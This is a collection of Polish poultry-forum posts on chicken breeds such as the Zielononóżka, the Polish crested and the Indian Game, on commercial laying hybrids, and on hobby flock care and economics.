Bylem,jestem i bede za tworzeniem ciekawych ras i odmian bo jest to piekne i tworcze. Mysle tylko,ze w hodowli trzeba byc bardzo konsekwentnym i sentymenty nalezy schowac gleboko. Jesli jakis ptak nie spelnia zalozen hodowlanych moze i powinien zostac najwyzej mamka, ozdoba lub rosolem...i tak bym to widzial.



Temat: Program "Zielononóżka Polska"

pewnie sprzedawca kur towarowych nabrał twoją babcię że czarne i jarzębate nioski to zielononóżki
Nie nie mój błąd to była jakaś inna rasa przepraszam
(wszystko przez to ze zielononozki i i jakieś mieszańce mnni. te czarne często chodzą razem na wolnym wybiegu ...To pomyślalem ze i te to zielononozki)



Temat: Nasze najpiękniejsze kury;)
A może by tak ogłosić konkurs na miss i mistera drobiu? Ja,jako pierwszy, przesyłam niezwykle przystojnego i fotogenicznego koguta rasy srebrna włoszka
A to miss-leghorn;)Bardzo dobra nioska

Mam nadzieję,że pomysł spodoba się wszystkim użytkownikom tego forum.Zapraszam do zabawy!



Temat: Jak rozpocząć hodowlę kur?
Witam. Przymierzam się do rozpoczecia hodowli. obecnie posiadam zwykłe kury nioski i kilka japonek, ale myślałam nad powiększeniem kurnika i hodowli,interesuja mnie rasy mięsne i kury nioski. Może doradzilibyście mi jakie rasy wybrać?



Temat: Czym zastąpić kure nioske?
Witam chciałem sie dowiedzieć jaką rasą kur ozdobnych można zastąpić zwykłe kury nioski?? chodzi o to żeby tak jak nioski znosiły jaja i można by było je jeść.



Temat: choroby
witam !
mam różne kury (nie znam rasy) ok. 15 do 25 szt w wieku od 1 do 3 lat
gubią pióra w okolicy gardzieli i odbytu
średnio pada mi jedna w miesiącu niezależnie od wieku
karmione w stosunku pszenica i granulat dla niosek 2 : 1
proszę o pomoc
[/b]



Temat: III rok : - sesja
Drób:
1. krzywe nieśności kur, kaczek, indyków i gęsi (nigdzie tego nie ma, jak ktoś to ma to bardzo proszę o wrzucenie na forum)
2. Współodziedziczalność dla cech
3.Fermy zarodowe w Polsce
4.Tucz brojlerów kurzych,
5.Cornish-od kogo sie wywodzi
6. Program świetlny brojlerów
7.Żywienie kaczek
8.Pasze dla drobiu
9.Tucz brojlerów kaczych
10.Tucz brojlerow indyczych
11.Choroby drobiu
12.Gr. krwi B
13.Choroby przenoszone przez jaja
14.Żywienie niosek
15.Użytkowanie nieśne kur
16.Indeks selekcyjny
17.pierze, podskuby
18.Wymiana ciepła u ptaków
19.Wartość pokarmowa paszy
20.Z jakiej rasy wywodzą się matki dla brojlerów
21.Kaczki-chów na mięso
22.Geny K
23.Mieszańce niosek
24.Mieszanki pełnoporcjowe
25.Gen srebrzystości "s"
26.Systemy chowu- klatkowy, podłogowy, tradycyjny, z wybiegami
27.funkcje ferm zarodowych i reprodukcyjnych
28.Żywienie kurcząt hodowlanych
29.Rasy i typy indyków
30. Indeks selekcyjny kur niosek
31.Chromosomy kur
32.Metody selekcji- indeks
33.Co to jest: ród, stado, stadko selekcyjne
34.Choroby, profilaktyka
35.Związek alleli z chromos. (B21,B19, czy jakoś tak, nie wiem o co chodzi)
36.Żywienie ptaków dorosłych, brojlerów i kur hodowlanych
37.Użytkowanie gęsi,kaczek i indykow
38.Rodowód
39.Żywienie niosek
40.Rasy gęsi
41.Liczba chromosomów gęsi
42.Typy i rasy indykow
43.Choroby młodego drobiu
44.Podskub
45.Utrzymywanie w systemie klatkowym
46.Stado reprodukcyjne, gęsi
47.Rodzaje ubarwienia u kur-sprzężone z płcią
48.Przymusowe przepierzanie kur (?)
49.Rasy nieśne preferowane w Polsce
50. Rodzaje tuczu gęsi
51.Autosexing (!)- podobno często sie powtarza
52.Jajo- etapy rozwoju

A z futrami jest podobno spox
Jak ktoś ma jeszcze jakieś inne pytania to prosze pisać!!!




Temat: Zielononóżki
Nie wiem, czy jest to odpowiednie miejsce na szukanie takich informacji. Sporo arkuszy kalkulacyjnych dotyczących hodowli jest na stronach rolniczych i tam trzeba szukać szczegółowych danych w tym temacie. Nie mniej jednak postaram się trochę przybliżyć ten temat. Oczywiście bardzo ogólnie.
Kura zielononóżka zaliczana jest do rasy ogólnoużytkowej. Jest stosunkowo lekka, osiąga wagę do 2 kg. Charakteryzuje się odpornością na warunki środowiskowe i wytrzymałością
na niskie temperatury, dość wysoką nieśnością, posiada dobre cechy mateczne, doskonale
potrafi wykorzystywać warunki naturalne. Średnia roczna nieśność zielononóżek określana jest na 180-190 jaj o masie ok. 60g. Ponieważ kura ta sprawdza się w chowie drobnostadkowym , dlatego nadaje się do chowu amatorskiego oraz w małych i średnich gospodarstwach rolnych. Jaja kur zielononóżek mają obniżoną do 30 % zawartość
cholesterolu, a mięso najniższą zawartość tłuszczu surowego. Ze względu na te walory istnieje możliwość wykorzystywania jaj i mięsa do produkcji żywności ”markowej”, o wysokiej jakości. W ostatnich latach jest to kura dość popularna (modna), co zwiększa jej atrakcyjność ekonomiczną. Nie będę pisał tu o kosztach utrzymania, bo są one różne w zależności od systemu hodowli, jednak porównywalne dla wszystkich ras kur. Trzeba jednak pamiętać o tym, że zielononóżki w bardzo dużym zakresie wykorzystują roślinność znalezioną w terenie, co znowu przemawia na ich korzyść. No i na zakończenie trochę matematyki. W tym roku Stacja Testowa Kur w Chorzelowie sprzedawała pisklęta jednodniowe nieseksowane po 5,50 zł/szt. Tak więc koszt stadka 50 kur to wydatek rzędu 550 zł. (trzeba założyć, że drugie 50 szt to będą kogutki). Kogutki –po wybraniu najlepszych okazów- można spożytkować kulinarnie. Po ok. pół roku, po rozpoczęciu nieśności, te 50 kurek będzie znosiło dziennie około 30 jajek. Jeżeli zielononóżki rozpoczną nieśność w styczniu (lutym), to prawie pół roku jaja idą do wylęgu po 1,50 zł/szt. A często drożej, ale nigdy nie taniej. Przynajmniej ja o takim przypadku nie słyszałem. Tego nie da żadna Rosa czy Astra. W pozostałe miesiące jaja idą do konsumpcji po ok. 0,80 -0,90 zł. Wariant minimalny 0,60 zł/szt – i w górę – do negocjacji ) , ale odbiór jaj przez firmę z domu. Warunek 1500 jaj na tydzień. Resztę proszę obliczyć sobie we własnym zakresie. Uważam, że mimo wzrostu cen zbóż, hodowla zielononóżek i tak będzie najbardziej opłacalna . Oczywiście, nie porównuję tej hodowli do produkcji jaj w fabrykach niosek.



Temat: Czubatka staropolska (dworska?)
Skromnym okiem laika widze to tak...

Wszystkie lub niemal wszystkie kury nazywane Czubatkami staropolskimi nie maja nic wspolnego z czubatymi kurami znanymi ze starych obrazow,opowiesci itp. Sa zwyklymi,najczesciej nieudanymi podrobkami i tyle. Sorry ale wlasnie tak to widze. Zjawisko czubatosci u ptakow pojawia sie dosc czesto. Widzialem nawet czubek u golebia pocztowego pochodzacego z golebnika w ktorym od dziesiecioleci byly tylko golebie pocztowe,lotowane i na 100% nie krzyzowane z innymi rasami. Podobne zjawisko zachodzi u kur i to na szersza skale. Zwykla "nioska" - jakiejkolwiek rasy, z takich czy innych przyczyn (mutacja) moze dac kurczaka z czubkiem.Czy to oznacza,ze kurczak ten jest Czubatka staropolska? Nie ! Oznacza,ze jest "nioska" z czubkiem (nioska w sensie ogolnym). Zastanawiam sie (ale to tylko teza) czy kury z obrazow czy opisow sprzed kilkdziesieciu czy kilkuset lat to nic innego jak przodkowie tego co dzis nazywa sie Czubatka polska...na Zachodzie zwana "holenderska"...? Te dawne kury ulegly modyfikacja, uwidoczniono w nich pewne cechy i "stary typ" przestal kogokolwiek interesowac. Przypominam: to co pisze to nie stwierdzenie tylko zalozenie,teoria...
Hodowcy psow zrobili podobny numer z bulldogiem angielskim.Dawne bulldogi byly sprawne,silne,wytrzymale, zdolne do uduszenia byka. Dzisiejszy bulldog to kaleka niezdolna by o wlasnych silach polizac sie po zadzie,ze o samodzielnym rozrodzie nie wspomne! Rase te tak bardzo zmodyfikowano,ze swoich przodkow sprzed 100-150 lat przypomina glownie z nazwy. Byc moze to samo dotyczy tego co nazwano Czubatka staropolska...
W zadnym wypadku nie mam zamiaru potepiac czy krytykowac dzialan zmierzajacych do stworzenia czy oddtworzenia Czubatek staropolskich jesli nawet po oryginalach nie zostal zaden slad. W pelni popieram dzialania zapalencow ktorzy cos tworza. Mysle jednak,ze nazywanie kazdej kury z mniejszym czy wiekszym czubkiem /czubatka staropolska to duuuuzy blad,zeby nie powiedziec zbrodnia wobec nowopowstajacej,czy tez odtwarzanej rasy. Tak samo kynolodzy zrobili z Kanaryjskim psem bojowym... Po oryginalach nie bylo sladu od dziesiecioleci az tu nagle ktos pokazal mieszance pit bulli,rottweilerow ,bokserow i czego tam jeszcze, wrzeszczac,ze ma kanariany..! Wolne zarty...

Pozdraiwm serdecznie.



Temat: silki i cochiny
Obawiam się Pszemo, że nie dostaniesz na swoje pytanie żadnej sensownej odpowiedzi, bo w stosunku do kur ozdobnych nikt nie prowadzi badań pod kątem wydajności w znoszeniu jaj.
Takie badania prowadzi się tylko pod kątem kur użytkowych z przeznaczeniem na nioski i ma to tylko odzwierciedlenie w hodowli fermowej.
Tam kury mają bardzo ściśle określone warunki bytowania: zbilansowaną paszę, stałą temperaturę i odpowiednio długi "dzień świetlny".
Kury ozdobne są selekcjonowane pod kątem "cieszenia oka" i niech tak pozostanie.
Jedyna książka jaką posiadam, która traktuje wszystkie rasy również pod względem nieśności i walorów kulinarnych (praktyczny Niemiec jak sądzę) podaje informację "normalna". Ale ile to jest ta norma nie wiadomo.
Myślę, że powinieneś się cieszyć bardziej z posiadania swoich kurek, niż oczekiwać jakichkolwiek z tego korzyści.
Co do utrzymywania dwóch ras w jednej wolierze, to nie będzie problemem połączenie kurek, te ustalą na początku swoją hierarchię i tak zostanie, ale tolerowanie się dwóch kogutów na ograniczonej powierzchni może się nie udać.
Sugeruję pozostanie przy jednej rasie np. kochin, a dla urozmaicenia zakup kurek w różnych odm. barwnych co da ci kolorowe stadko.
Ponieważ apetyt rośnie w miarę jedzenia i pewnie gdy któraś kurka zechce wysiadywać to może pojawić się u Ciebie pokusa by jej na to pozwolić, w takim wypadku otrzymasz potomstwo jednolite pod względem budowy, a jedynie kolorystka będzie zwichrowana.
Dobierając ilość kur do swojej woliery pamiętaj, że i tu nie ma normy na m2. Normy są dla ferm a nie dla amatorów.
Obrazowo ma to wyglądać tak: Kiedyś w zoo były małe klatki, w których zwierzęta miały być dobrze widoczne z bliska, nikt nie przejmował się ich potrzebami, kiedy zdychały przywoziło się nowe. Dzisiejsze ogrody zoologiczne starają się pokazywać zwierzęta na dużych powierzchniach w różnogatunkowych grupach. Wzorcem są parki "safari".
Może to tylko kury ale....



Temat: Zielononóżki
Bardzo ruchliwe i sympatyczne kurki, szybko przyzwyczajają się do człowieka i jedzą mu z ręki. Nie są wymagające, co do warunków żywieniowych, wystarcza im duża ilość zieleniny i niewielka ilość ziaren, ale wymagają dużej przestrzeni życiowej. Trzymane w małych wolierach wydziobują sobie pióra, co wygląda brzydko, a przez to częściej chorują i są bardziej dzikie.
Kury te były od wieków chowane w Galicji i stamtąd zostały rozpowszechnione na cały kraj jako dobre nioski (znoszą około 180-190 jaj o masie 55-58g, jajka są o barwie białej do kremowej, niewiele mniejsze od jajek typowych niosek). jako podstawową cechę rasową, służącą do wyodrębnienia rasy uznano zielone skoki (nogi), były selekcjonowane w kierunku uzyskiwania tylko kur z takimi nogami.
Kurki są bardzo przystosowane do naszych warunków klimatycznych, nie sroga im Polska zima, oraz letnie upały, są także bardzo odporne na choroby, ale tylko wtedy gdy są chowane na otwartej przestrzeni i w małych stadach.
Moje zielononóżki trzymam w dużej wolierze przy kurniku, często kiedy wchodzę do nich uciekają mi między nogami, pobiegają po podwórku poskubią zieleniny, kiedy się najedzą to stoją przed swoją wolierą i czekają aby je wpuścić. Trzymając je zamknięte musimy pamiętać, że mają większe wymagania od zwykłych kur, potrzebują codziennej dużej dawki zieleniny, oraz niewielkiej ilości ziaren (moje kurki mam przyzwyczajone do mieszanki składającej się z pszenicy, owsa i jęczmienia – zboże podaje gniecione, jest o wiele chętniej zjadane), poza tym podaje wszelkie warzywa jakie mam w ogródku, a zimą buraki pastewne i siano z lucerny i koniczyny.
Polecam tę rasę początkującym hodowcom i do wszystkich gospodarstw rolnych.

Tekst napisałam samodzielnie na podstawie własnych doświadczeń oraz informacji zasięgniętych z internetu



Temat: jak to jest z kurami?
Jak stwierdzono przodek wszystkich kur to gatunek Gallus gallus udomowiony jakieś 5000 lat temu.Są także na liście Gllus sonnerati,Gallus lafayettei , Gallus varius. Kura domowa to Gallus domesticus .Ten dzieli się na rasy, oraz obecnie w przemyśle hodowlanym stosowane jest pojęcie linii i rodu .
Właśnie : jak to jest ,że parę tysięcy lat temu udało się je udomowić oraz uzyskać taką różnorodność ubarwień,wielkości i kształtu? Proces taki potrzebuje sporo czasu by selekcjonować odpowiednie sztuki pod danym kątem to wiadomo,ale dlaczego nie mamy np. biegających po obejściach stadek uszaków i trgopanów w wielu wersjach barwnych i wielkościowych?Np. co do dzikich kaczek i indyków ich udomowione wersje nie odbiegają tak bardzo od pierwowzoru .Kury zmieniły się bardzo.Bażanty hodowane w niewoli także zaczynają nieść więcej jaj jednak przodek kury nie , dlaczego? Może to przypadkowa mutacja,może jeszcze inny przodek ,który dawno wyginął ? Prawdopodobnie pierwszy kierunek selekcji odbywał się pod kątem bojowości ptaków ze względu na wierzenia religijne.Do tej pory bojowce noszą mało jaj , ale także dostrzeżono ich walory mięsne i dalej poszło w tym kierunku.Jeśli tak , to od nich wywodzą się nioski ?
Prawie wszystkie posiadają taką samą budowę,prawie bo araukany mają trochę inaczej umiejscowione narządy rozrodcze i jeszcze ten kolor skoruki jaj.Fauna Ameryki Południowej jest wyjątkowa tak jak Australii .Mutacja czy krzyżówka sprawiła inny wygląd araukan?Jeśli krzyżówka to z jakim gatunkiem było to możliwe?
Pewne jest ,że kury należą obecnie do kręgu pupili ludzkości tak jak psy bo ceniona jest nie tylko wartość użytkowa .
Wiele znaków zapytania pozostanie na zawsze.
Krzysiek



Temat: jajka
Pozwólcie, że i ja się wypowiem w kwestii jaj. Mamy niewielkie stadko niosek ( 20 sztuk) . Mieszanka ras ogólnoużytkowych - Tetra, Plymouthrock, Sussex, jedną Zielononóżkę no i moje pupilki - miniaturowe Wyandottki . Ideałem byłoby utrzymywanie ich "luzem" na podwórku, ale system taki u nas się nie sprawdza, albowiem :

1. Bliskość lasu to napór drapieżników (lisy i jastrzębie) . Stadko było regularnie trzebione - ewidentna wyrwa w budżecie

2. Niekontrolowane znoszenie jajek w miejscach przypadkowych - drewutnia, stodoła, obora (!) . No i potem poszukiwania skąd dana kura gdacze i gdzie raczyła ukryć kopę jajek

3. Gęsto "ozdobione " podwórko ze szczególnym upodobaniem schodów wejściowych do domu .

4. Przegrzebane rabaty z kwiatami .

Ponieważ miłość do prawdziwych jaj wiejskich jest w nas wielka, mimo przeciwności losu postanowiliśmy się zaprzeć i drób hodować, choćby nie wiem co !

Niemniej cztery w/w względy spowodowały konieczność wybudowania wybiegu dla drobiu z podmurówką ( bo lisy potrafią się podkopać ! ) , dodatkowo nakrytego siecią, bo jastrzębie miały swoje prywatne eldorado . Ponieważ z powodu ograniczonej przestrzeni wybieg momentalnie stał się czarnym ugorem , wiosną planujemy zatem podział na dwie kwatery i tzw. wypas kwaterowy - czyli jedna kwaterka obsiana mieszanką traw i motylkowych odrasta, a druga jest mordowana przez kurki.

Wybieg sprawia, że wszystko trzeba kurom przynieść "pod dziób". Bezsensem jest kupowanie przemysłowych pasz pełnoporcjowych ( bo takie jajka to możemy sobie nabyć w sklepie) , więc kury karmimy pszenicą, twarogiem, maślanką, gotowanymi ziemniakami,drobno siekaną marchwią, kapustą , pokruszonymi skorupkami. Żywienie drogie. Planujemy także zainstalowanie ogrzewania w kurniku, bo teraz temperatura drastycznie w nim spadła, co odbija się na nieśności - mimo niezłego żywienia. Nawet nie chcę kalkulować opłacalności całego przedsięwzięcia , ale sami wiecie, drodzy Zadymiarze , że zdrowe żarełko, tym bardziej dla rodziny, jest bezcenne. Jajek sąsiadom nie sprzedaję , bo sama nie wiem, ile miałyby kosztować Bliskość biedronki i czynnik ekonomiczny sprawia, że ludzie wykłady o zdrowej żywności puszczają kolo uszu. Cóż ...
Na wyprawy na rynek z koszyczkiem nie mam czasu ani ochoty. Moja sąsiadka sprzedaje jajka po 45 groszy . A ja tygodniowo mam tych jaj ok. 70 sztuk. No to z czym do ludzi ? Ale kury będziemy mieli zawsze, tak jak świnki pasione serwatką i pokrzywami z dodatkiem śruty zbożowej. Maad - masz absolutną rację ! Pozdrawiam.



Temat: KURY TOWAROWE - NASZE DOśWIADCZENIA

Mam pytanie jakie rasy kur są wykorzystywane do tworzenia kur towarowych i jak one sie nazywają. Wiem że jest rosa a poza nią to są jeszcze jakieś

Pytanie bardzo stare, lecz skoro nie doszukałem się odpowiedzi, to sam spróbuję jej udzielić.

Rosa to nie jest rasa, lecz nazwa towarowej hybrydy.

Fermy zarodowe utrzymują rody kilku ogólnoużytkowych ras: Rode Island Red, Rhode Island White, New Hampshire, Barred Rock, Leghorn, Sussex. Nazwy towarowych mieszańców to: Astra D, Astra W, Astra W-2, Astra P, Astra N, Messa243, Messa245, Messa443, Messa445, Rosa I, Rosa II, IWNO LG, IWNO RS, IWNO RL, IWNO Sx. Oprócz tego do chowu drobnostadkowego przeznaczane są także mieszańce rodów ras kur ogólnoużytkowych pochodzenia zagranicznego.*

Do produkcji obu wariantów Rosy używane są rody Rhode Island Red oraz Sussex. Również w obu przypadkach kurka towarowa ma brązowe (czerwone) upierzenie, przy czym w wypadku Rosy I pisklęta są autoseksingowe.

Jastrzębiata barwa upierzenia kury towarowej pochodzi od rasy Barred Rock (jastrzębiaty Plymouth Rock). Jeśli weźmiemy pod uwagę fakt, iż biała odmiana Plymouth Rocków (White Rock) jest używana do produkcji mięsnych brojlerów, to fakt delikatniejszego mięsa jastrzębiatych mieszańców może być uzasadniony.

Instynkt kwoczenia jako nieopłacalny z ekonomicznego punktu widzenia produkcji fermowej jest tamże tępiony. Niemniej, skoro do produkcji drobnostadkowych mieszańców są używane takie rasy jak Rhode Island czy Sussex, u których instynkt ten jest bardzo silny, to logicznym jest, że i potomkinie towarowe również go niekiedy przejawiają. Przy czym potrafią być bardzo dobrymi nasiadkami i matkami.

- - - - -

Sam onegdaj hodowałem głównie kury będące potomkami i mieszańcami polskich towarowych z Niemiecką Zagrodową. Stąd m.in. u statystycznej połowy osobników różyczkowy rodzaj grzebienia, nie spotykany u przedstawicielek towarowych. Oprócz podstawowej, selekcja była prowadzona w trzech kierunkach:
1. Utrzymanie różyczkowego grzebienia.
2. Utrwalenie również sporadycznie u towarowych spotykanego srebrzystego upierzenia.
3. Nieśności.
Stadko kilkunastu do 20 niosek zawsze było rozmnażane naturalną metodą. Wyniki były zadowalające (około 180 jaj rocznie); gdyby nie brać pod uwagę kur z przerwą w nieśności spowodowaną kwoczeniem, wynik plasowałby się powyżej 200. Co parę lat było wprowadzanych kilka sztuk kur towarowych w celu "odświeżenia krwi".
I w sumie tyle. Tak wyglądała moja amatorska hodowla kur użytkowych. Tylko w ostatnich dwóch latach większość stanowiły mieszańce towarowe (przy nastawieniu na zysk).
Na przestrzeni kilkunastu lat stadko utrzymywane było w systemie półintensywnym: żywienie paszami gospodarskimi, zieleniną, mlekiem itp + do woli w automacie mieszanką przemysłową. Od kiedy były prowadzone notatki hodowlane, to chyba tylko w jednym miesiącu zysk był na minusie. Ale przede wszystkim była to hodowla (+ produkcja nieśna) dla własnej satysfakcji...

Problem z nasiadkami w okresie wiosennym...
Indyczkę do wysiadywania można "namówić". Z kurą ten numer nie przejdzie, chociaż...
Jeśli znamy swoje stadko bardzo dobrze i pod względem każdej sztuki, to można popróbować "namawiania". Najczęściej poszczególne osobniki niosą się w tych samych gniazdach. Sprawdzonej, conajmniej dwuletniej sztuce o silnym instynkcie kwoczenia, można zacząć zostawiać jajka w gnieździe. Jednocześnie obserwując ewentualne zmiany (wydłużenie serii niesności, dłuższe przesiadywanie w gnieździe, zmiana głosu, wypadanie piór z piersi [plama lęgowa] itp.). Jaja mogą być od tego samego osobnika - wielkość, kształt i barwa zawsze jest taka sama, aczkolwiek największe osobnicze odchylenia pod tym względem dotyczą barwy jajka - lub od różnych, nie to ma znaczenie. Ważne jest, by przybywało ich w naturalny sposób. Skuteczność marna, ale czasami zaprzyjaźniony osobnik propozycję przyjmował. Oczywiście uskładane jajka usuwamy, przeznaczając je np. po ugotowaniu na paszę, a podkładamy świeże i czyste. Najlepiej po kilku dniach, by się upewnić co do kurzego zamiaru. Jeśli cały proceder nie przyniesie oczekiwanych efektów, to po uskładaniu kilkunastu do dwudziestu jaj, usuwamy je; powtarzając sytuację po paru tygodniach. Niektóre osobniki szybko i zdecydowanie reagowały na tę metodę; inne - wcale.
Pomysłowość kurza nie zna granic. Przy dostępie do niczym nieograniczonych wybiegów zdarza się, że któraś zaczyna "gubić" jajka, znosząc je w zaroślach czy w "niezakurzonej " jeszcze budce do odchowu. Jeśli człowiek lub inny zwierz nie będzie ingerował w tę metodę, to często się zdarza, że kura tamże zabiera się do wysiadywania złożonych jaj. Powyższy opis jest przeniesieniem tego faktu w obręb kurnika.
Jak zaznaczałem, skuteczność marna, lecz jeśli komuś bardzo zależy na wczesnych lęgach naturalnych, to może pokombinować.

*Na podstawie: Kury. Chów pozafermowy. Marzeny i Dariusza Mikulskich, PWRiL Poznań, 1998



Temat: czytam i was podziwiam
u mnie po podwórku zawsze chodziły jakieś kury.Albo były to nioski , albo liliputy .Tylko w ten sposób potrafiłam rozróżniać to co miałam.Dopiero teraz , po przeczytaniu lektury w postaci waszych wypowiedzi zaczęłam kojarzyć co mam.Przede wszystkim nazwać się mogę jako "posiadający kury" i na nowo zaczyna we mnie rosnąć chęć hodowli konkretnej rasy.Piszę na nowo . ponieważ parę lat wstecz już raz próbowałam.W tym celu kupiłam parę białoczubów od "hodowcy" z pobliskiej miejscowości .Ponieważ była to parka takiej wyrośniętej młodzieży,a ja do tej pory nie potrafię rozróżnić płci,facio sprzedał mi dwa kogutki.Dodatkowo jeden od początku kichał,i nawet weterynarz mu nie pomógł,więc ptaszyna męczyła się chyba ze dwa miesiące u mnie i w końcu padła,a po drodze zainfekowała mi jakimś paskudztwem moje kury( i nie tylko kury ),tak że do jesieni została marna garstka. Został jednak ten drugi kogucik.Ponieważ zrobiłam gościowi antyreklamę opowiadając na prawo i lewo jak mnie urządził (w międzyczasie okazało się,że nie tylko mnie),znajomi widząc mój żal na wiosnę następnego roku ofiarowali mi jedną kurkę miniaturkę,która miała piórka wyglądające na zakręcone go góry na lokówce ( do tej pory nie wypatrzyłam jaka to rasa ) i parkę cochilek (tą rasę mogę dzięki wam określić).No ale dwa kogutki i dwie kurki tworzące stadko trzech ras wymieszały się totalnie.Z upływem lat Padły ze starości oba kogutki.Niestety,ciężko było dochować z takiego misz-maszu cokolwiek,bo kurczęta dorastały do wielkości gołębi i w ciągu tygodnia potrafiły wszystkie paść .W ubiegłym roku na wiosnę do kurek które zostały znajomy przyniósł mi od kogoś mlodego,puchatego jak sowa kogutka.Pisząc jak sowa muszę wyjaśnić że takie u nas jest określenie tych dwóch ras (cochilek i silek)-jak sowa z piórkami jak sierść dzika.Okazało się ,że kogutek jest silką.Do tych moich perypetii dołączyły się kuny (teraz już jestem pewna,ze to one,bo w nocy z piątku na sobotę zlikwidowały mojemu sąsiadowi całą hodowlę gołębi),które trzebiły mi kurczaczki ile tylko wlazło.W zeszłym roku pożywiły się ponad setką drobiu (kurczęta,kaczuszki,perliczki).Pod koniec lata dostałam takiej furii z tego powodu,że kazałam mężowi powydawać resztę tego co zostało (marną resztę).Dzięki wam zacznę jeszcze raz.Pierwszy krok już zrobiłam - Wandet obiecał mi sprzedać parkę przepiórów kalifornijskich a kieca009 dziesięć czarnych perliczek.Wczoraj zgłosiłam na PW do butchi chabo chęć nabycia u niego kurek i kogutka,które prezentował na zdjęciach w dziale sprzedaży ,ale on od 24.02 milczy i nie odpowiada nikomu- więc nie wiem co z tego będzie.Rozpisałam się ale już kończę - następnym moim krokiem to będzie zbudowanie zaraz po świętach wolier,które podpatrzyłam na waszych zdjęciach - no i czekam na mieszkańców wolier.Ufam opatrzności i wierzę,że teraz mi się uda.Dziękuję za to WAM WSZYSTKIM.



Temat: Bojowiec Indyjski
Bojowiec Indyjski;Do przodków tych kur zalicza się rasa azjatyckich asilów.
W hodowli 1880r wykorzystano krzyżówki shamo, kochina i białe malajskie by stworzyć rasę o dużej wydajności.
Indyjski bojowiec ma wiele zalet tak zwanych plusów, jednak że nie jest doskonały ma i minusy, w hodowli nie jest zbyt łatwy jak zresztą większość bojowców,akurat tego można zaliczyć do jednych z trudniejszych.
Hodowla ras bojowych w naszym kraju rozwija się bardzo powoli,jednak że z roku na rok przybywa miłośników tych pięknych i ciekawych ptaków,nazwa bojowiec w pewnym sensie odstrasza wielu początkujących hodowców i brzmi to tak jak, uwaga zły pies.

Kury rasy bojowej mają w sobie to coś czego nie mają żadne inne rasy i nie jest to bojowość ani agresja,wygląd i sylwetka sprawia że nie tylko hodowcy zawieszają na nich oko ale praktyczne każdemu kto je zobaczy wpadają do oka, bardzo często padają pytania a co to za kura? jaka ona ładna , to bojowiec ........ wtedy następuje kilka kroków do tyłu, mimo że kury są w zamknięciu reakcja jet taka jakby miały się rzucić do ataku.Przeszłość ich nie jest kolorowa w prawdzie były szkolone i wykorzystywane do walki,ale to przeszłość i z pokolenia na pokolenie agresja zanikła i pozostał tylko agresywny wygląd, praktycznie każdego koguta można wyszkolić by był agresywny i waleczny w stosunku do innych ,nie musi by to bojowiec. U wczesne bojowce są bardzo śmiałe,lubią być głaskane i przytulane
bardo przywiązują się do człowieka, są bardzo wścibskie i ciekawskie lubią być tam gdzie coś się dzieje i wszędzie wchodzą za człowiekiem
Indyjski bojowiec jest jednym z trudniejszym w hodowli, głównym takim powodem jest jego waga,od 3 do 4,5 kg miniatury od 1kg do 1,5 kg
krótkie nogi czasami nie wytrzymują tak dużej wagi, a czasami koguty mają też trudności z kopulacją .
Kształtem sylwetki przypominają sześcian, długość ciała jest taka sama jak jego głębokość i szerokość.

Uda umiarkowanej długości, muskularne, szerokie, skoki krótkie, grube i okrągłe.
Są to ptaki masywne, muskularne, ciężkie, o szerokim tułowiu osadzonym na wyjątkowo szeroko rozstawionych nogach,upierzenie bardzo skąpe i znam tylko trzy odmiany barwne,czerwono biały ,niebiesko bażanci i brązowy bażanci, grzebień złożony z trzech niskich podłużnych fałd.
Indyjski bojowiec należy do najlepszych niosek w śród bojowców,składa 15-20 jaj i krótka przerwa, i znowu znosi jaja cykl ten powtarza kilka razy do roku, kurki te są też doskonałymi matkami bardzo dobrze i chętnie wysiadują jaja i wodzą pisklęta

Kurki te nie nadają się do hodowli w małych wolierach, ze względu na bardzo szybki przyrost tłuszczu,woliery powinie być duże i obszerne albo hodowla na wolnym wybiegu
Pożywienie powiano być bogate w witaminy białko i wapno.
Warunki atmosferyczne można powiedzieć że znoszą dobrze do -10,-15 stopni,jak większość bojowców



Temat: Polskie czubatki w USA
Poniższy tekst jest tłumaczeniem z języka angielskiego tekstu napisanego specjalnie dla czytelników forum czubatki polskiej przez pana Holloway z USA. Paul Holloway jest hodowcą z wieloletnim doświadczeniem, którym bardzo chętnie się dzieli m. in. w grupie dyskusyjnej “Orpington Group”. Jego gospodarstwo nosi nazwę „Beautility Farm” gdzie „beautility” jest połączeniem słów „beauty”-„piękno” oraz „ulility”-użytkowość” i tym właśnie harmonicznym połączeniem pan Holloway kieruje się w hodowli.

Po raz pierwszy zacząłem hodować Duże Kury Polskie w latach pięćdziesiątych, kiedy zamówiłem je z wylęgarni z katalogu wysyłkowego. Moje pierwsze zamówienie składało się z Andaluzyjek, Sussexów, Brahm, Ankon oraz białoczubych czarnych czubatek polskich. Od tego czasu czubatki polskie (różnych rodzajów) zawsze gościły w moich kurnikach.

Ich czubek był pierwsza rzeczą, która przyciągnęła mają uwagę, ale podobała mi się również ich postawa, a w katalogu było powiedziane, że są doskonałymi nioskami, co, jak na kury ozdobne było i jest zgodne z prawdą. Koguty wystawowe w USA mają imponujące czubki, a te u kur wpadają w oko i ujmują urodą, bez przesady powszechnej u niektórych odmian. Są one wystarczająco duże by zwracać uwagę, ale nie na tyle żeby przeszkadzać w poszukiwaniu pożywienia lub wody. Odmiany brodate podobają mi się bardziej (bo sam też mam brodę), ale odmiany bez brody tez maja swój urok.

Hodowaliśmy wszystkie odmiany kolorystyczne istniejące w USA w latach 50-tych i 60-tych, ale obecnie hodujemy tylko brodate i niebrodate złociste czubatki polskie. Od początku okazało się, ze odmiany czubate najlepiej chować osobno. Ich czubki są zbyt nęcącą pokusą dla innych kur, szczególnie ras śródziemnomorskich. Czasami czubki czubatek stają się po trosze rozwichrzone w zimie, kiedy woda z poideł przymarza przedniej części piór, ale jest to krótkotrwałe i wydaje się nie mieć negatywnego wpływu na kury.

Kiedy na początku kupowałem kurczęta wysyłkowo, wydawało mi się, że czubatki polskie miały tendencje do „DOA” („Dead on Arrival" czyli: „Martwy w chwili przybycia”), ale teraz uważam, że działo się to dlatego, ze większe kurczęta zadeptywały mniejsze czubatki w czasie transportu. Nie ma wątpliwości, ze te wyklute u nas są tak samo zdrowe i żywe jak każde inne z bardzo niską umieralnością przy wychowywaniu przez kwoki. Złociste czubatki polskie mają zwykle 1:1 zapłodnionych jaj, i 9 z 10 wyklutych, więc nie wymagają one tak wielu jajek do wylęgu co inne rasy (i dzieje się tak bez względu na to czy wylęg jest styczniu czy w czerwcu).

